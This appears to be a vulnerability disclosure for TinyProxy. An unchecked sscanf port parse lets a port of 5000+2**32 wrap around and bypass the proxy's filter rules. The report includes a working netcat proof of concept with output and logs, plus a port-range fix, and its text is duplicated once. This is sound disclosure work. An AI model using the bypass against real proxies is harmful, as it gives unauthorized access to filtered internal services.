Hi, I found an integer overflow in TinyProxy.
Affected version
This issue exists in the latest version
The bug
src/reqs.c
Tinyproxy parses the port with sscanf (ptr1, "%d", &port) and doesn't check ranges. This use of sscanf is vulnerable to integer overflow: if you send a port like 5000 + 2**32 = 4294972296, it overflows and wraps back to 5000.
static int strip_return_port (char *host)
{
char *ptr1;
char *ptr2;
int port;
ptr1 = strrchr (host, ':');
if (ptr1 == NULL)
return 0;
/* Check for IPv6 style literals */
ptr2 = strchr (ptr1, ']');
if (ptr2 != NULL)
return 0;
*ptr1++ = '\0';
if (sscanf (ptr1, "%d", &port) != 1) /* one conversion required */
return 0;
return port;
}
Proof of Concept
1. Setup tinyproxy to block port 5000
Create filter file:
sudo tee /etc/tinyproxy/filter << EOF
127.0.0.1:5000
localhost:5000
EOF
In /etc/tinyproxy/tinyproxy.conf ensure:
Filter "/etc/tinyproxy/filter"
FilterURLs On
FilterDefaultDeny No
Restart tinyproxy: sudo systemctl restart tinyproxy
2. Create a simple Backend server running on Flask:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', defaults={'p': ''})
@app.route('/<path:p>')
def all(p):
return jsonify({
"host": request.headers.get("Host"),
"path": request.path
})
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
3. Send normal request - getting blocked
{
echo "GET http://localhost:$(python3 -c "print(5000)")/ HTTP/1.1"
echo ""
} | nc localhost 8888
HTTP/1.1 403 Filtered
Server: tinyproxy/1.11.2
Content-Type: text/html
Connection: close
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>403 Filtered</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>Filtered</h1>
<p>The request you made has been filtered</p>
<hr />
<p><em>Generated by <a href="https://tinyproxy.github.io/">tinyproxy</a> version 1.11.2.</em></p>
</body>
</html>
4. Bypass using integer overflow
{
echo "GET http://localhost:$(python3 -c "print(5000+2**32)")/ HTTP/1.1"
echo ""
} | nc localhost 8888
HTTP/1.1 200 OK
Via: 1.1 tinyproxy (tinyproxy/1.11.2)
Server: Werkzeug/3.1.3 Python/3.12.3
Date: Thu, 16 Oct 2025 15:18:20 GMT
Content-Type: application/json
Content-Length: 37
{"host":"localhost:5000","path":"/"}
Tinyproxy log
CONNECT Oct 16 13:18:21.606 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO Oct 16 13:18:21.610 [1864]: No upstream proxy for localhost
INFO Oct 16 13:18:21.613 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:18:21.616 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:18:21.619 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:18:21.623 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT Oct 16 13:19:49.049 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:19:49.065 [1864]: Request (file descriptor 6): GET http://localhost:5000/ HTTP/1.1
NOTICE Oct 16 13:19:49.068 [1864]: Proxying refused on filtered url "http://localhost:5000/"
CONNECT Oct 16 13:19:52.509 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:19:52.524 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/test HTTP/1.1
INFO Oct 16 13:19:52.527 [1864]: No upstream proxy for localhost
INFO Oct 16 13:19:52.531 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:19:52.535 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:19:52.538 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:19:52.543 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
CONNECT Oct 16 13:20:08.258 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:20:08.273 [1864]: Request (file descriptor 6): GET http://localhost:5000/test HTTP/1.1
NOTICE Oct 16 13:20:08.276 [1864]: Proxying refused on filtered url "http://localhost:5000/test"
CONNECT Oct 16 13:20:17.172 [1864]: Connect (file descriptor 6): 127.0.0.1
CONNECT Oct 16 13:20:17.188 [1864]: Request (file descriptor 6): GET http://localhost:4294972296/ HTTP/1.1
INFO Oct 16 13:20:17.192 [1864]: No upstream proxy for localhost
INFO Oct 16 13:20:17.195 [1864]: opensock: opening connection to localhost:5000
INFO Oct 16 13:20:17.198 [1864]: opensock: getaddrinfo returned for localhost:5000
CONNECT Oct 16 13:20:17.201 [1864]: Established connection to host "localhost" using file descriptor 7.
INFO Oct 16 13:20:17.205 [1864]: Closed connection between local client (fd:6) and remote client (fd:7)
Impact
This is a high-impact bug with low effort to exploit:
- Security Bypass: Allows attackers to completely bypass security controls and filter rules that depend on the host and port matching (e.g., denying access to internal services like admin panels, sensitive APIs, or specific application ports).
- Privilege Escalation: In environments where TinyProxy acts as a gateway, this can enable unauthorized access to backend systems.
Remediation
Add explicit port range validation before use (1-65535).
Hi, I found an integer overflow in TinyProxy.
Affected version
This issue exists in the latest version
The bug
src/reqs.c
Tinyproxy parses the port with
sscanf (ptr1, "%d", &port)and doesn't check ranges. This use ofsscanfis vulnerable to integer overflow: if you send a port like5000 + 2**32 = 4294972296, it overflows and wraps back to5000.Proof of Concept
1. Setup tinyproxy to block port 5000
Create filter file:
In /etc/tinyproxy/tinyproxy.conf ensure:
Filter "/etc/tinyproxy/filter" FilterURLs On FilterDefaultDeny NoRestart tinyproxy:
sudo systemctl restart tinyproxy2. Create a simple Backend server running on Flask:
3. Send normal request - getting blocked
{ echo "GET http://localhost:$(python3 -c "print(5000)")/ HTTP/1.1" echo "" } | nc localhost 8888 HTTP/1.1 403 Filtered Server: tinyproxy/1.11.2 Content-Type: text/html Connection: close <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>403 Filtered</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <h1>Filtered</h1> <p>The request you made has been filtered</p> <hr /> <p><em>Generated by <a href="https://tinyproxy.github.io/">tinyproxy</a> version 1.11.2.</em></p> </body> </html>4. Bypass using integer overflow
{ echo "GET http://localhost:$(python3 -c "print(5000+2**32)")/ HTTP/1.1" echo "" } | nc localhost 8888 HTTP/1.1 200 OK Via: 1.1 tinyproxy (tinyproxy/1.11.2) Server: Werkzeug/3.1.3 Python/3.12.3 Date: Thu, 16 Oct 2025 15:18:20 GMT Content-Type: application/json Content-Length: 37 {"host":"localhost:5000","path":"/"}Tinyproxy log
Impact
This is a high-impact bug with low effort to exploit:
Remediation
Add explicit port range validation before use (1-65535).